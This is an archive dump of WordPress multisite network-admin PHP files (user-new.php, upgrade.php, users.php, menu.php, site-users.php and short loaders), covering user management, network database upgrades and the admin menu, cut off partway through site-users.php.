		$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, sanitize_email( $user['email'] ) );

		if ( ! $user_id ) {
			$add_user_errors = new WP_Error( 'add_user_fail', __( 'Cannot add user.' ) );
		} else {
			/**
			 * Fires after a new user has been created via the network user-new.php page.
			 *
			 * @since 4.4.0
			 *
			 * @param int $user_id ID of the newly created user.
			 */
			do_action( 'network_user_new_created_user', $user_id );

			wp_redirect(
				add_query_arg(
					array(
						'update'  => 'added',
						'user_id' => $user_id,
					),
					'user-new.php'
				)
			);
			exit;
		}
	}
}

$message = '';
if ( isset( $_GET['update'] ) ) {
	if ( 'added' === $_GET['update'] ) {
		$edit_link = '';
		if ( isset( $_GET['user_id'] ) ) {
			$user_id_new = absint( $_GET['user_id'] );
			if ( $user_id_new ) {
				$edit_link = esc_url( add_query_arg( 'wp_http_referer', urlencode( wp_unslash( $_SERVER['REQUEST_URI'] ) ), get_edit_user_link( $user_id_new ) ) );
			}
		}

		$message = __( 'User added.' );

		if ( $edit_link ) {
			$message .= sprintf( ' <a href="%s">%s</a>', $edit_link, __( 'Edit user' ) );
		}
	}
}

// Used in the HTML title tag.
$title       = __( 'Add New User' );
$parent_file = 'users.php';

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<div class="wrap">
<h1 id="add-new-user"><?php _e( 'Add New User' ); ?></h1>
<?php
if ( '' !== $message ) {
	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}

if ( isset( $add_user_errors ) && is_wp_error( $add_user_errors ) ) {
	$error_messages = '';
	foreach ( $add_user_errors->get_error_messages() as $error ) {
		$error_messages .= "<p>$error</p>";
	}

	wp_admin_notice(
		$error_messages,
		array(
			'type'           => 'error',
			'dismissible'    => true,
			'id'             => 'message',
			'paragraph_wrap' => false,
		)
	);
}
?>
	<form action="<?php echo esc_url( network_admin_url( 'user-new.php?action=add-user' ) ); ?>" id="adduser" method="post" novalidate="novalidate">
		<p><?php echo wp_required_field_message(); ?></p>
		<table class="form-table" role="presentation">
			<tr class="form-field form-required">
				<th scope="row"><label for="username"><?php _e( 'Username' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="text" class="regular-text" name="user[username]" id="username" autocapitalize="none" autocorrect="off" maxlength="60" required="required" /></td>
			</tr>
			<tr class="form-field form-required">
				<th scope="row"><label for="email"><?php _e( 'Email' ); ?> <?php echo wp_required_field_indicator(); ?></label></th>
				<td><input type="email" class="regular-text" name="user[email]" id="email" required="required" /></td>
			</tr>
			<tr class="form-field">
				<td colspan="2" class="td-full"><?php _e( 'A password reset link will be sent to the user via email.' ); ?></td>
			</tr>
		</table>
	<?php
	/**
	 * Fires at the end of the new user form in network admin.
	 *
	 * @since 4.5.0
	 */
	do_action( 'network_user_new_form' );

	wp_nonce_field( 'add-user', '_wpnonce_add-user' );
	submit_button( __( 'Add User' ), 'primary', 'add-user' );
	?>
	</form>
</div>
<?php
require_once ABSPATH . 'wp-admin/admin-footer.php';
contribute.php000064400000000377150276372430007453 0ustar00<?php
/**
 * Network Contribute administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 6.3.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/contribute.php';
upgrade.php000064400000011512150276372430006715 0ustar00<?php
/**
 * Multisite upgrade administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require_once ABSPATH . WPINC . '/http.php';

// Used in the HTML title tag.
$title       = __( 'Upgrade Network' );
$parent_file = 'upgrade.php';

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'Only use this screen once you have updated to a new version of WordPress through Updates/Available Updates (via the Network Administration navigation menu or the Toolbar). Clicking the Upgrade Network button will step through each site in the network, five at a time, and make sure any database updates are applied.' ) . '</p>' .
			'<p>' . __( 'If a version update to core has not happened, clicking this button will not affect anything.' ) . '</p>' .
			'<p>' . __( 'If this process fails for any reason, users logging in to their sites will force the same update.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://wordpress.org/documentation/article/network-admin-updates-screen/">Documentation on Upgrade Network</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forums/">Support forums</a>' ) . '</p>'
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( ! current_user_can( 'upgrade_network' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

echo '<div class="wrap">';
echo '<h1>' . __( 'Upgrade Network' ) . '</h1>';

$action = isset( $_GET['action'] ) ? $_GET['action'] : 'show';

switch ( $action ) {
	case 'upgrade':
		$n = ( isset( $_GET['n'] ) ) ? (int) $_GET['n'] : 0;

		if ( $n < 5 ) {
			/**
			 * @global int $wp_db_version WordPress database version.
			 */
			global $wp_db_version;
			update_site_option( 'wpmu_upgrade_site', $wp_db_version );
		}

		$site_ids = get_sites(
			array(
				'spam'                   => 0,
				'deleted'                => 0,
				'archived'               => 0,
				'network_id'             => get_current_network_id(),
				'number'                 => 5,
				'offset'                 => $n,
				'fields'                 => 'ids',
				'order'                  => 'DESC',
				'orderby'                => 'id',
				'update_site_meta_cache' => false,
			)
		);
		if ( empty( $site_ids ) ) {
			echo '<p>' . __( 'All done!' ) . '</p>';
			break;
		}
		echo '<ul>';
		foreach ( (array) $site_ids as $site_id ) {
			switch_to_blog( $site_id );
			$siteurl     = site_url();
			$upgrade_url = admin_url( 'upgrade.php?step=upgrade_db' );
			restore_current_blog();

			echo "<li>$siteurl</li>";

			$response = wp_remote_get(
				$upgrade_url,
				array(
					'timeout'     => 120,
					'httpversion' => '1.1',
					'sslverify'   => false,
				)
			);

			if ( is_wp_error( $response ) ) {
				wp_die(
					sprintf(
						/* translators: 1: Site URL, 2: Server error message. */
						__( 'Warning! Problem updating %1$s. Your server may not be able to connect to sites running on it. Error message: %2$s' ),
						$siteurl,
						'<em>' . $response->get_error_message() . '</em>'
					)
				);
			}

			/**
			 * Fires after the Multisite DB upgrade for each site is complete.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param array $response The upgrade response array.
			 */
			do_action( 'after_mu_upgrade', $response );

			/**
			 * Fires after each site has been upgraded.
			 *
			 * @since MU (3.0.0)
			 *
			 * @param int $site_id The Site ID.
			 */
			do_action( 'wpmu_upgrade_site', $site_id );
		}
		echo '</ul>';
		?><p><?php _e( 'If your browser does not start loading the next page automatically, click this link:' ); ?> <a class="button" href="upgrade.php?action=upgrade&amp;n=<?php echo ( $n + 5 ); ?>"><?php _e( 'Next Sites' ); ?></a></p>
		<script type="text/javascript">
		<!--
		function nextpage() {
			location.href = "upgrade.php?action=upgrade&n=<?php echo ( $n + 5 ); ?>";
		}
		setTimeout( "nextpage()", 250 );
		//-->
		</script>
		<?php
		break;
	case 'show':
	default:
		if ( (int) get_site_option( 'wpmu_upgrade_site' ) !== $GLOBALS['wp_db_version'] ) :
			?>
		<h2><?php _e( 'Database Update Required' ); ?></h2>
		<p><?php _e( 'WordPress has been updated! Next and final step is to individually upgrade the sites in your network.' ); ?></p>
		<?php endif; ?>

		<p><?php _e( 'The database update process may take a little while, so please be patient.' ); ?></p>
		<p><a class="button button-primary" href="upgrade.php?action=upgrade"><?php _e( 'Upgrade Network' ); ?></a></p>
		<?php
		/**
		 * Fires before the footer on the network upgrade screen.
		 *
		 * @since MU (3.0.0)
		 */
		do_action( 'wpmu_upgrade_page' );
		break;
}
?>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
users.php000064400000022432150276372430006432 0ustar00<?php
/**
 * Multisite users administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.0.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_network_users' ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

if ( isset( $_GET['action'] ) ) {
	/** This action is documented in wp-admin/network/edit.php */
	do_action( 'wpmuadminedit' );

	switch ( $_GET['action'] ) {
		case 'deleteuser':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			check_admin_referer( 'deleteuser' );

			$id = (int) $_GET['id'];
			if ( $id > 1 ) {
				$_POST['allusers'] = array( $id ); // confirm_delete_users() can only handle arrays.

				// Used in the HTML title tag.
				$title       = __( 'Users' );
				$parent_file = 'users.php';

				require_once ABSPATH . 'wp-admin/admin-header.php';

				echo '<div class="wrap">';
				confirm_delete_users( $_POST['allusers'] );
				echo '</div>';

				require_once ABSPATH . 'wp-admin/admin-footer.php';
			} else {
				wp_redirect( network_admin_url( 'users.php' ) );
			}
			exit;

		case 'allusers':
			if ( ! current_user_can( 'manage_network_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( isset( $_POST['action'] ) && isset( $_POST['allusers'] ) ) {
				check_admin_referer( 'bulk-users-network' );

				$doaction     = $_POST['action'];
				$userfunction = '';

				foreach ( (array) $_POST['allusers'] as $user_id ) {
					if ( ! empty( $user_id ) ) {
						switch ( $doaction ) {
							case 'delete':
								if ( ! current_user_can( 'delete_users' ) ) {
									wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
								}

								// Used in the HTML title tag.
								$title       = __( 'Users' );
								$parent_file = 'users.php';

								require_once ABSPATH . 'wp-admin/admin-header.php';

								echo '<div class="wrap">';
								confirm_delete_users( $_POST['allusers'] );
								echo '</div>';

								require_once ABSPATH . 'wp-admin/admin-footer.php';
								exit;

							case 'spam':
								$user = get_userdata( $user_id );
								if ( is_super_admin( $user->ID ) ) {
									wp_die(
										sprintf(
											/* translators: %s: User login. */
											__( 'Warning! User cannot be modified. The user %s is a network administrator.' ),
											esc_html( $user->user_login )
										)
									);
								}

								$userfunction = 'all_spam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									if ( ! is_main_site( $details->userblog_id ) ) { // Main site is not a spam!
										update_blog_status( $details->userblog_id, 'spam', '1' );
									}
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '1';

								wp_update_user( $user_data );
								break;

							case 'notspam':
								$user = get_userdata( $user_id );

								$userfunction = 'all_notspam';
								$blogs        = get_blogs_of_user( $user_id, true );

								foreach ( (array) $blogs as $details ) {
									update_blog_status( $details->userblog_id, 'spam', '0' );
								}

								$user_data         = $user->to_array();
								$user_data['spam'] = '0';

								wp_update_user( $user_data );
								break;
						}
					}
				}

				if ( ! in_array( $doaction, array( 'delete', 'spam', 'notspam' ), true ) ) {
					$sendback = wp_get_referer();
					$user_ids = (array) $_POST['allusers'];

					/** This action is documented in wp-admin/network/site-themes.php */
					$sendback = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $sendback, $doaction, $user_ids ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

					wp_safe_redirect( $sendback );
					exit;
				}

				wp_safe_redirect(
					add_query_arg(
						array(
							'updated' => 'true',
							'action'  => $userfunction,
						),
						wp_get_referer()
					)
				);
			} else {
				$location = network_admin_url( 'users.php' );

				if ( ! empty( $_REQUEST['paged'] ) ) {
					$location = add_query_arg( 'paged', (int) $_REQUEST['paged'], $location );
				}
				wp_redirect( $location );
			}
			exit;

		case 'dodelete':
			check_admin_referer( 'ms-users-delete' );
			if ( ! ( current_user_can( 'manage_network_users' ) && current_user_can( 'delete_users' ) ) ) {
				wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
			}

			if ( ! empty( $_POST['blog'] ) && is_array( $_POST['blog'] ) ) {
				foreach ( $_POST['blog'] as $id => $users ) {
					foreach ( $users as $blogid => $user_id ) {
						if ( ! current_user_can( 'delete_user', $id ) ) {
							continue;
						}

						if ( ! empty( $_POST['delete'] ) && 'reassign' === $_POST['delete'][ $blogid ][ $id ] ) {
							remove_user_from_blog( $id, $blogid, (int) $user_id );
						} else {
							remove_user_from_blog( $id, $blogid );
						}
					}
				}
			}

			$i = 0;

			if ( is_array( $_POST['user'] ) && ! empty( $_POST['user'] ) ) {
				foreach ( $_POST['user'] as $id ) {
					if ( ! current_user_can( 'delete_user', $id ) ) {
						continue;
					}
					wpmu_delete_user( $id );
					++$i;
				}
			}

			if ( 1 === $i ) {
				$deletefunction = 'delete';
			} else {
				$deletefunction = 'all_delete';
			}

			wp_redirect(
				add_query_arg(
					array(
						'updated' => 'true',
						'action'  => $deletefunction,
					),
					network_admin_url( 'users.php' )
				)
			);
			exit;
	}
}

$wp_list_table = _get_list_table( 'WP_MS_Users_List_Table' );
$pagenum       = $wp_list_table->get_pagenum();
$wp_list_table->prepare_items();
$total_pages = $wp_list_table->get_pagination_arg( 'total_pages' );

if ( $pagenum > $total_pages && $total_pages > 0 ) {
	wp_redirect( add_query_arg( 'paged', $total_pages ) );
	exit;
}

// Used in the HTML title tag.
$title       = __( 'Users' );
$parent_file = 'users.php';

add_screen_option( 'per_page' );

get_current_screen()->add_help_tab(
	array(
		'id'      => 'overview',
		'title'   => __( 'Overview' ),
		'content' =>
			'<p>' . __( 'This table shows all users across the network and the sites to which they are assigned.' ) . '</p>' .
			'<p>' . __( 'Hover over any user on the list to make the edit links appear. The Edit link on the left will take you to their Edit User profile page; the Edit link on the right by any site name goes to an Edit Site screen for that site.' ) . '</p>' .
			'<p>' . __( 'You can also go to the user&#8217;s profile page by clicking on the individual username.' ) . '</p>' .
			'<p>' . __( 'You can sort the table by clicking on any of the table headings and switch between list and excerpt views by using the icons above the users list.' ) . '</p>' .
			'<p>' . __( 'The bulk action will permanently delete selected users, or mark/unmark those selected as spam. Spam users will have posts removed and will be unable to sign up again with the same email addresses.' ) . '</p>' .
			'<p>' . __( 'You can make an existing user an additional super admin by going to the Edit User profile page and checking the box to grant that privilege.' ) . '</p>',
	)
);

get_current_screen()->set_help_sidebar(
	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
	'<p>' . __( '<a href="https://codex.wordpress.org/Network_Admin_Users_Screen">Documentation on Network Users</a>' ) . '</p>' .
	'<p>' . __( '<a href="https://wordpress.org/support/forum/multisite/">Support forums</a>' ) . '</p>'
);

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter users list' ),
		'heading_pagination' => __( 'Users list navigation' ),
		'heading_list'       => __( 'Users list' ),
	)
);

require_once ABSPATH . 'wp-admin/admin-header.php';

if ( isset( $_REQUEST['updated'] ) && 'true' === $_REQUEST['updated'] && ! empty( $_REQUEST['action'] ) ) {
	$message = '';
	switch ( $_REQUEST['action'] ) {
		case 'delete':
			$message = __( 'User deleted.' );
			break;
		case 'all_spam':
			$message = __( 'Users marked as spam.' );
			break;
		case 'all_notspam':
			$message = __( 'Users removed from spam.' );
			break;
		case 'all_delete':
			$message = __( 'Users deleted.' );
			break;
		case 'add':
			$message = __( 'User added.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => 'success',
			'dismissible' => true,
			'id'          => 'message',
		)
	);
}
?>
<div class="wrap">
	<h1 class="wp-heading-inline"><?php esc_html_e( 'Users' ); ?></h1>

	<?php
	if ( current_user_can( 'create_users' ) ) :
		?>
		<a href="<?php echo esc_url( network_admin_url( 'user-new.php' ) ); ?>" class="page-title-action"><?php echo esc_html__( 'Add New User' ); ?></a>
		<?php
	endif;

	if ( strlen( $usersearch ) ) {
		echo '<span class="subtitle">';
		printf(
			/* translators: %s: Search query. */
			__( 'Search results for: %s' ),
			'<strong>' . esc_html( $usersearch ) . '</strong>'
		);
		echo '</span>';
	}
	?>

	<hr class="wp-header-end">

	<?php $wp_list_table->views(); ?>

	<form method="get" class="search-form">
		<?php $wp_list_table->search_box( __( 'Search Users' ), 'all-user' ); ?>
	</form>

	<form id="form-user-list" action="users.php?action=allusers" method="post">
		<?php $wp_list_table->display(); ?>
	</form>
</div>

<?php require_once ABSPATH . 'wp-admin/admin-footer.php'; ?>
menu.php000064400000011205150276372430006231 0ustar00<?php
/**
 * Build Network Administration Menu.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/* translators: Network menu item. */
$menu[2] = array( __( 'Dashboard' ), 'manage_network', 'index.php', '', 'menu-top menu-top-first menu-icon-dashboard', 'menu-dashboard', 'dashicons-dashboard' );

$submenu['index.php'][0] = array( __( 'Home' ), 'read', 'index.php' );

if ( current_user_can( 'update_core' ) ) {
	$cap = 'update_core';
} elseif ( current_user_can( 'update_plugins' ) ) {
	$cap = 'update_plugins';
} elseif ( current_user_can( 'update_themes' ) ) {
	$cap = 'update_themes';
} else {
	$cap = 'update_languages';
}

$update_data = wp_get_update_data();
if ( $update_data['counts']['total'] ) {
	$submenu['index.php'][10] = array(
		sprintf(
			/* translators: %s: Number of available updates. */
			__( 'Updates %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="update-count">%s</span></span>',
				$update_data['counts']['total'],
				number_format_i18n( $update_data['counts']['total'] )
			)
		),
		$cap,
		'update-core.php',
	);
} else {
	$submenu['index.php'][10] = array( __( 'Updates' ), $cap, 'update-core.php' );
}

unset( $cap );

$submenu['index.php'][15] = array( __( 'Upgrade Network' ), 'upgrade_network', 'upgrade.php' );

$menu[4] = array( '', 'read', 'separator1', '', 'wp-menu-separator' );

/* translators: Sites menu item. */
$menu[5]                  = array( __( 'Sites' ), 'manage_sites', 'sites.php', '', 'menu-top menu-icon-site', 'menu-site', 'dashicons-admin-multisite' );
$submenu['sites.php'][5]  = array( __( 'All Sites' ), 'manage_sites', 'sites.php' );
$submenu['sites.php'][10] = array( __( 'Add New Site' ), 'create_sites', 'site-new.php' );

$menu[10]                 = array( __( 'Users' ), 'manage_network_users', 'users.php', '', 'menu-top menu-icon-users', 'menu-users', 'dashicons-admin-users' );
$submenu['users.php'][5]  = array( __( 'All Users' ), 'manage_network_users', 'users.php' );
$submenu['users.php'][10] = array( __( 'Add New User' ), 'create_users', 'user-new.php' );

if ( current_user_can( 'update_themes' ) && $update_data['counts']['themes'] ) {
	$menu[15] = array(
		sprintf(
			/* translators: %s: Number of available theme updates. */
			__( 'Themes %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="theme-count">%s</span></span>',
				$update_data['counts']['themes'],
				number_format_i18n( $update_data['counts']['themes'] )
			)
		),
		'manage_network_themes',
		'themes.php',
		'',
		'menu-top menu-icon-appearance',
		'menu-appearance',
		'dashicons-admin-appearance',
	);
} else {
	$menu[15] = array( __( 'Themes' ), 'manage_network_themes', 'themes.php', '', 'menu-top menu-icon-appearance', 'menu-appearance', 'dashicons-admin-appearance' );
}
$submenu['themes.php'][5]  = array( __( 'Installed Themes' ), 'manage_network_themes', 'themes.php' );
$submenu['themes.php'][10] = array( __( 'Add New Theme' ), 'install_themes', 'theme-install.php' );
$submenu['themes.php'][15] = array( __( 'Theme File Editor' ), 'edit_themes', 'theme-editor.php' );

if ( current_user_can( 'update_plugins' ) && $update_data['counts']['plugins'] ) {
	$menu[20] = array(
		sprintf(
			/* translators: %s: Number of available plugin updates. */
			__( 'Plugins %s' ),
			sprintf(
				'<span class="update-plugins count-%s"><span class="plugin-count">%s</span></span>',
				$update_data['counts']['plugins'],
				number_format_i18n( $update_data['counts']['plugins'] )
			)
		),
		'manage_network_plugins',
		'plugins.php',
		'',
		'menu-top menu-icon-plugins',
		'menu-plugins',
		'dashicons-admin-plugins',
	);
} else {
	$menu[20] = array( __( 'Plugins' ), 'manage_network_plugins', 'plugins.php', '', 'menu-top menu-icon-plugins', 'menu-plugins', 'dashicons-admin-plugins' );
}
$submenu['plugins.php'][5]  = array( __( 'Installed Plugins' ), 'manage_network_plugins', 'plugins.php' );
$submenu['plugins.php'][10] = array( __( 'Add New Plugin' ), 'install_plugins', 'plugin-install.php' );
$submenu['plugins.php'][15] = array( __( 'Plugin File Editor' ), 'edit_plugins', 'plugin-editor.php' );

$menu[25] = array( __( 'Settings' ), 'manage_network_options', 'settings.php', '', 'menu-top menu-icon-settings', 'menu-settings', 'dashicons-admin-settings' );
if ( defined( 'MULTISITE' ) && defined( 'WP_ALLOW_MULTISITE' ) && WP_ALLOW_MULTISITE ) {
	$submenu['settings.php'][5]  = array( __( 'Network Settings' ), 'manage_network_options', 'settings.php' );
	$submenu['settings.php'][10] = array( __( 'Network Setup' ), 'setup_network', 'setup.php' );
}
unset( $update_data );

$menu[99] = array( '', 'exist', 'separator-last', '', 'wp-menu-separator' );

require_once ABSPATH . 'wp-admin/includes/menu.php';
about.php000064400000000365150276372430006404 0ustar00<?php
/**
 * Network About administration panel.
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.4.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

require ABSPATH . 'wp-admin/about.php';
site-users.php000064400000025511150276372430007375 0ustar00<?php
/**
 * Edit Site Users Administration Screen
 *
 * @package WordPress
 * @subpackage Multisite
 * @since 3.1.0
 */

/** Load WordPress Administration Bootstrap */
require_once __DIR__ . '/admin.php';

if ( ! current_user_can( 'manage_sites' ) ) {
	wp_die( __( 'Sorry, you are not allowed to edit this site.' ), 403 );
}

$wp_list_table = _get_list_table( 'WP_Users_List_Table' );
$wp_list_table->prepare_items();

get_current_screen()->add_help_tab( get_site_screen_help_tab_args() );
get_current_screen()->set_help_sidebar( get_site_screen_help_sidebar_content() );

get_current_screen()->set_screen_reader_content(
	array(
		'heading_views'      => __( 'Filter site users list' ),
		'heading_pagination' => __( 'Site users list navigation' ),
		'heading_list'       => __( 'Site users list' ),
	)
);

$_SERVER['REQUEST_URI'] = remove_query_arg( 'update', $_SERVER['REQUEST_URI'] );
$referer                = remove_query_arg( 'update', wp_get_referer() );

if ( ! empty( $_REQUEST['paged'] ) ) {
	$referer = add_query_arg( 'paged', (int) $_REQUEST['paged'], $referer );
}

$id = isset( $_REQUEST['id'] ) ? (int) $_REQUEST['id'] : 0;

if ( ! $id ) {
	wp_die( __( 'Invalid site ID.' ) );
}

$details = get_site( $id );
if ( ! $details ) {
	wp_die( __( 'The requested site does not exist.' ) );
}

if ( ! can_edit_network( $details->site_id ) ) {
	wp_die( __( 'Sorry, you are not allowed to access this page.' ), 403 );
}

$is_main_site = is_main_site( $id );

switch_to_blog( $id );

$action = $wp_list_table->current_action();

if ( $action ) {

	switch ( $action ) {
		case 'newuser':
			check_admin_referer( 'add-user', '_wpnonce_add-new-user' );
			$user = $_POST['user'];
			if ( ! is_array( $_POST['user'] ) || empty( $user['username'] ) || empty( $user['email'] ) ) {
				$update = 'err_new';
			} else {
				$password = wp_generate_password( 12, false );
				$user_id  = wpmu_create_user( esc_html( strtolower( $user['username'] ) ), $password, esc_html( $user['email'] ) );

				if ( false === $user_id ) {
					$update = 'err_new_dup';
				} else {
					$result = add_user_to_blog( $id, $user_id, $_POST['new_role'] );

					if ( is_wp_error( $result ) ) {
						$update = 'err_add_fail';
					} else {
						$update = 'newuser';

						/**
						 * Fires after a user has been created via the network site-users.php page.
						 *
						 * @since 4.4.0
						 *
						 * @param int $user_id ID of the newly created user.
						 */
						do_action( 'network_site_users_created_user', $user_id );
					}
				}
			}
			break;

		case 'adduser':
			check_admin_referer( 'add-user', '_wpnonce_add-user' );
			if ( ! empty( $_POST['newuser'] ) ) {
				$update  = 'adduser';
				$newuser = $_POST['newuser'];
				$user    = get_user_by( 'login', $newuser );
				if ( $user && $user->exists() ) {
					if ( ! is_user_member_of_blog( $user->ID, $id ) ) {
						$result = add_user_to_blog( $id, $user->ID, $_POST['new_role'] );

						if ( is_wp_error( $result ) ) {
							$update = 'err_add_fail';
						}
					} else {
						$update = 'err_add_member';
					}
				} else {
					$update = 'err_add_notfound';
				}
			} else {
				$update = 'err_add_notfound';
			}
			break;

		case 'remove':
			if ( ! current_user_can( 'remove_users' ) ) {
				wp_die( __( 'Sorry, you are not allowed to remove users.' ), 403 );
			}

			check_admin_referer( 'bulk-users' );

			$update = 'remove';
			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];

				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;
					remove_user_from_blog( $user_id, $id );
				}
			} elseif ( isset( $_GET['user'] ) ) {
				remove_user_from_blog( $_GET['user'] );
			} else {
				$update = 'err_remove';
			}
			break;

		case 'promote':
			check_admin_referer( 'bulk-users' );
			$editable_roles = get_editable_roles();
			$role           = $_REQUEST['new_role'];

			if ( empty( $editable_roles[ $role ] ) ) {
				wp_die( __( 'Sorry, you are not allowed to give users that role.' ), 403 );
			}

			if ( isset( $_REQUEST['users'] ) ) {
				$userids = $_REQUEST['users'];
				$update  = 'promote';
				foreach ( $userids as $user_id ) {
					$user_id = (int) $user_id;

					// If the user doesn't already belong to the blog, bail.
					if ( ! is_user_member_of_blog( $user_id ) ) {
						wp_die(
							'<h1>' . __( 'Something went wrong.' ) . '</h1>' .
							'<p>' . __( 'One of the selected users is not a member of this site.' ) . '</p>',
							403
						);
					}

					$user = get_userdata( $user_id );
					$user->set_role( $role );
				}
			} else {
				$update = 'err_promote';
			}
			break;
		default:
			if ( ! isset( $_REQUEST['users'] ) ) {
				break;
			}
			check_admin_referer( 'bulk-users' );
			$userids = $_REQUEST['users'];

			/** This action is documented in wp-admin/network/site-themes.php */
			$referer = apply_filters( 'handle_network_bulk_actions-' . get_current_screen()->id, $referer, $action, $userids, $id ); // phpcs:ignore WordPress.NamingConventions.ValidHookName.UseUnderscores

			$update = $action;
			break;
	}

	wp_safe_redirect( add_query_arg( 'update', $update, $referer ) );
	exit;
}

restore_current_blog();

if ( isset( $_GET['action'] ) && 'update-site' === $_GET['action'] ) {
	wp_safe_redirect( $referer );
	exit;
}

add_screen_option( 'per_page' );

// Used in the HTML title tag.
/* translators: %s: Site title. */
$title = sprintf( __( 'Edit Site: %s' ), esc_html( $details->blogname ) );

$parent_file  = 'sites.php';
$submenu_file = 'sites.php';

/**
 * Filters whether to show the Add Existing User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add Existing User form. Default true.
 */
if ( ! wp_is_large_network( 'users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) {
	wp_enqueue_script( 'user-suggest' );
}

require_once ABSPATH . 'wp-admin/admin-header.php';
?>

<script type="text/javascript">
var current_site_id = <?php echo absint( $id ); ?>;
</script>


<div class="wrap">
<h1 id="edit-site"><?php echo $title; ?></h1>
<p class="edit-site-actions"><a href="<?php echo esc_url( get_home_url( $id, '/' ) ); ?>"><?php _e( 'Visit' ); ?></a> | <a href="<?php echo esc_url( get_admin_url( $id ) ); ?>"><?php _e( 'Dashboard' ); ?></a></p>
<?php

network_edit_site_nav(
	array(
		'blog_id'  => $id,
		'selected' => 'site-users',
	)
);

if ( isset( $_GET['update'] ) ) :
	$message = '';
	$type    = 'error';

	switch ( $_GET['update'] ) {
		case 'adduser':
			$type    = 'success';
			$message = __( 'User added.' );
			break;
		case 'err_add_member':
			$message = __( 'User is already a member of this site.' );
			break;
		case 'err_add_fail':
			$message = __( 'User could not be added to this site.' );
			break;
		case 'err_add_notfound':
			$message = __( 'Enter the username of an existing user.' );
			break;
		case 'promote':
			$type    = 'success';
			$message = __( 'Changed roles.' );
			break;
		case 'err_promote':
			$message = __( 'Select a user to change role.' );
			break;
		case 'remove':
			$type    = 'success';
			$message = __( 'User removed from this site.' );
			break;
		case 'err_remove':
			$message = __( 'Select a user to remove.' );
			break;
		case 'newuser':
			$type    = 'success';
			$message = __( 'User created.' );
			break;
		case 'err_new':
			$message = __( 'Enter the username and email.' );
			break;
		case 'err_new_dup':
			$message = __( 'Duplicated username or email address.' );
			break;
	}

	wp_admin_notice(
		$message,
		array(
			'type'        => $type,
			'dismissible' => true,
			'id'          => 'message',
		)
	);
endif;
?>

<form class="search-form" method="get">
<?php $wp_list_table->search_box( __( 'Search Users' ), 'user' ); ?>
<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
</form>

<?php $wp_list_table->views(); ?>

<form method="post" action="site-users.php?action=update-site">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />

<?php $wp_list_table->display(); ?>

</form>

<?php
/**
 * Fires after the list table on the Users screen in the Multisite Network Admin.
 *
 * @since 3.1.0
 */
do_action( 'network_site_users_after_list_table' );

/** This filter is documented in wp-admin/network/site-users.php */
if ( current_user_can( 'promote_users' ) && apply_filters( 'show_network_site_users_add_existing_form', true ) ) :
	?>
<h2 id="add-existing-user"><?php _e( 'Add Existing User' ); ?></h2>
<form action="site-users.php?action=adduser" id="adduser" method="post">
	<input type="hidden" name="id" value="<?php echo esc_attr( $id ); ?>" />
	<table class="form-table" role="presentation">
		<tr>
			<th scope="row"><label for="newuser"><?php _e( 'Username' ); ?></label></th>
			<td><input type="text" class="regular-text wp-suggest-user" name="newuser" id="newuser" /></td>
		</tr>
		<tr>
			<th scope="row"><label for="new_role_adduser"><?php _e( 'Role' ); ?></label></th>
			<td><select name="new_role" id="new_role_adduser">
			<?php
			switch_to_blog( $id );
			wp_dropdown_roles( get_option( 'default_role' ) );
			restore_current_blog();
			?>
			</select></td>
		</tr>
	</table>
	<?php wp_nonce_field( 'add-user', '_wpnonce_add-user' ); ?>
	<?php submit_button( __( 'Add User' ), 'primary', 'add-user', true, array( 'id' => 'submit-add-existing-user' ) ); ?>
</form>
<?php endif; ?>

<?php
/**
 * Filters whether to show the Add New User form on the Multisite Users screen.
 *
 * @since 3.1.0
 *
 * @param bool $bool Whether to show the Add New User form. Default true.
 */
